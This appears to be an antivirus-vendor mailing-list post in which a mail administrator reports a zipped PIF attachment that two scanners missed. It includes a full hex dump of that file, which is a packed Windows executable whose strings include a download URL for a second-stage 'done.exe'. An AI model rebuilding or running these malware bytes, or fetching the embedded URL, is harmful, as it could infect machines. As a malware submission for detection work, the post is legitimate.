[Declude.Virus] [OT] Possible Virus that has arrived

[Jeff Maze]

Just writing the list to let Declude know that I've forwarded a suspicious
file (report.zip).  It was a zip file that contains a PIF file.  Neither
F-Prot on mail server nor NAV2k4 on client machine hit on this file.
BANFILE EZIP is enabled within Declude.  

Attached to this e-mail is a hex dump html page of the PIF file in question.
Running Declude Standard so I'm unable to ban file names within ZIP files.
Thanks..

report.pif: 1/1

00000000 0000002d 0000005a 00000087 000000b4 000000e1 0000010e 0000013b 00000168 00000195 000001c2 000001ef 0000021c 00000249 00000276 000002a3 000002d0 000002fd 0000032a 00000357 00000384 000003b1 000003de 0000040b 00000438 00000465 00000492 000004bf 000004ec 00000519 00000546 00000573 000005a0 000005cd 000005fa

4d 5a 90 00 03 00 00 00 04 00 00 00 50 45 00 00 4c 01 02 00 46 53 47 21 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 04 00 00 00 0a 02 00 00 00 00 00 03 43 02 00 00 10 00 00 0c 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 02 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 43 02 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 00 00 00 00 30 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 00 00 00 00 74 61 00 00 00 10 00 00 00 40 02 00 1c 04 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c 00 00 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 be 43 42 00 b2 43 42 00 b4 43 42 00 98 01 40 00 00 10 40 00 00 40 42 00 01 30 40 00 00 00 00 00 30 21 40 00 01 00 00 00 f0 43 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e2 55 00 8b ec 83 c4 f8 68 04 01 e1 c3 a9 e6 b3 ff 83 6a 80 e8 87 02 ca 19 2c 11 c8 05 85 e8 79 02 72 0f 33 24 88 45 8d 05 1f 10 81 d2 80 38 5c 75 fc 8b d0 f7 b8 10 78 19 f3 42 c6 34 68 e5 30 58 37 5a 89 6a 47 02 8c 09 03 6e 68 1a 0a c0 19 44 17 43 89 45 fc d1 74 57 4a 56 42 05 2a 11 3d fe 41 81 e7 54 83 0a 9c 14 0d 46 22 63 54 50 0b ff 3f 75 fc 72 d1 36 08 22 ca 33 33 c0 b8 50 8d 23 47 0c 7c 7b a8 1e c9 c3 a8 da 81 c4 1c 68 fb ff 7a 18 7e 04 20 54 e8 63 c2 2d 60 bf 38 84 42 0c 81 3f 77 02 2e 00 75 03 83 c7 04 8b f7 57 76 e8 de 33 00 c8 b0 2f f2 ae 0b 0c c9 0f 84 1a 1d 4f fe df 00 2b fe 47 57 56 8d 85 6b d9 81 a2 9f 11 c6 03 c0 43 68 a1 3e 53 d9 3e b1 cd 36 97 fc 08 42 a6 a5 09 10 68 58 32 2f 3c 90 6e 1f ed 06 12 07 f1 b5 9a 0a 57 d8 43 c4 7a 46 0b c0 be 70 bb c7 2d 48 0c 36 09 04 01 89 4d f4 66 c7 45 f0 46 d9 0d 50 f2 b7 6a 37 10 8d 1a 61 53 e8 4a 90 55 85 11 8c 91 54 36 3b a6 6a c8 32 43 62 7e 7c 45 51 42 60 30 26 c6 17 ef 81 c2 74 5e 48 8b f0 f0 45 ef db 47 3a 6f 61 7a 68 fe 6e 11 82 39 8d bd 83 11 80 7d b0 01 74 23 02 33 c9 36 81 bc 29 83 10 0d 0a 00 04 74 07 41 3b c8 72 ed 30 eb c5 7f 01 83 c1 07 04 8d 3c 39 2b 64 50 81 05 e8 8f 8c b7 eb af 10 5d 89 61 21 58 8e b0 44 42 12 31 0a e8 81 bf 25 b4 f4 b5 62 84 5a 2d 3c a1 14 0f a0 30 ea 76 d0 bd b1 d0 15 94 a2 d2 4a 64 59 1c 08 80 fd 3d 33 13 15 cc c0 25 3c 20 d9 30 0c 04 0c 08 86 43 0c 21 10 90 14 c8 18 64 1c 37 b8 64 24 32 28 1b 84 32 2c 19 34 0c 58 86 43 44 21 48 90 4c c8 50 64 54 18 00 5c 01 74 6d 70 66 6c 65 2e c9 78 d3 83 6f d7 87 6e 07 3a d1 0d 0a 64 fb a8 20 25 73 c7 10 69 66 7d 30 d7 cb 74 79 1b 3b 67 6f f2 fd 5d 1c c0 61 2e 73 62 70 74 1f 47 45 54 59 2f 3b 48 df c3 50 c0 31 2e 30 de 3e 99 6f 5e 3a 46 3c 04 c0 00 01 1c 3c 20 40 00 55 53 45 52 33 32 1c 2e 64 6c 78 00 79 73 70 72 69 6e 74 38 66 41 38 01 66 35 4b 32 73 4e 53 4c 1c 00 6e 73 74 72 63 70 79 ef 03 45 f3 6f e0 65 48 61 f5 bb 2c 67 18 72 af 2f 74 a6 46 69 16 c7 30 47 78 7f 61 50 72 6f 63 fd 73 c7 83 49 af b7 4d a1 64 75 6c 50 1b 4e 61 6d d0 3e 13 06 53 68 6f 72 46 dd 62 e9 12 4d e6 be 7e 19 44 69 8e 63 f3 7d 38 cf 28 54 e7 6c 5a cc 8a 4d db 2a 1f 83 61 ea 77 8d 91 42 09 7d 94 70 41 86 a4 26 09 b4 88 8e 01 34 a8 aa 53 48 a2 a8 14 a9 1b 55 68 65 0c fb 78 18 a2 75 74 c9 01 44 c1 3f 57 53 32 5f 4d 1e c1 04 c2 85 01 34 48 06 10 64 13 32 17 19 73 08 02 c0 00 be a4 01 40 00 ad 93 ad 97 ad 56 96 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 1f b6 80 41 b0 10 ff 13 12 c0 73 fa 75 3c aa eb e0 ff 53 08 02 f6 83 d9 01 75 0e ff 53 04 eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 04 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9d 8b d6 5e ad 48 74 0a 79 02 ad 50 56 8b f2 97 eb 87 ad 93 5e 46 ad 97 56 ff 13 95 ac 84 c0 75 fb fe 0e 74 f0 79 05 46 ad 50 eb 09 fe 0e 0f 84 8a ce fd ff 56 55 ff 53 04 ab eb e0 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 02 d2 75 05 8a 16 46 12 d2 c3 f0 43 02 00 00 00 00 00 00 00 00 00 54 01 00 00 f0 43 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6f 01 00 00 00 00 00 00 00 00 00 00 74 65 63 68 6e 61 6c 79 74 69 63 73 2e 6e 65 74 2f 64 6f 6e 65 2e 65 78 65 00 00 00 00 00 00 00

MZ..........PE..L...FSG!..................... [EMAIL PROTECTED] ...P......................................... ......C..4................................... ............................................. .......................................t....0 [EMAIL PROTECTED] .........................KERNEL32.dll...LoadL ibraryA..GetProcAddress...................... [EMAIL PROTECTED]@[EMAIL PROTECTED]@[EMAIL PROTECTED] B............................................ [EMAIL PROTECTED],. ....y.r.3$.E.......8\u......x..B.4h.0X7Z.jG.. ..nh....D.C.E..tWJVB.*.=.A..T.....F"cTP..?u.r .6.".33..P.#G.|{.........h..z.~. T.c.-`.8.B.. ?w...u......Wv..3.../.........O...+.GWV..k... .....Ch.>S.>..6...B....hX2/<.n.........W.C.zF ...p..-H.6....M.f.E.F..P..j7...aS.J.U....T6;. j.2Cb~|EQB`0&.....t^H...E..G:oazh.n..9.....}. .t#.3.6..)......t.A;.r.0........<9+dP....... ..].a!X..DB.1....%...b.Z-<....0.v........JdY. ...=3....%< .0.....C.!.....d.7.d$2(..2,.4.X.C D!H.L.PdT..\.tmpfle..x..o..n.:...d.. %s..if}0 ..ty.;go..]..a.sbpt.GETY/;H..P.1.0.>.o^:F<... ..< @.USER32..dlx.ysprint8fA8.f5K2sNSL..nstrc py..E.o.eHa..,g.r./t.Fi..0GxaProc.s..I..M.du lP.Nam.>..ShorF.b..M..~.Di.c.}8.(T.lZ..M.*..a .w..B.}.pA..&.....4..SH.....Uhe..x..ut..D.?WS [EMAIL PROTECTED] ...s.3...s...A......s.u<....S......u..S..&... t/.....H.....S.=.}..s....s...w.AA.....V..+.. .^....^.Ht.y..PV.......^F..V......u...t.y.F.P ..........VU.S....3.A......r....u...F....C... .......T....C......................a...o..... ......technalytics.net/done.exe.......

---

Hex dump generated by GHex 2.2.1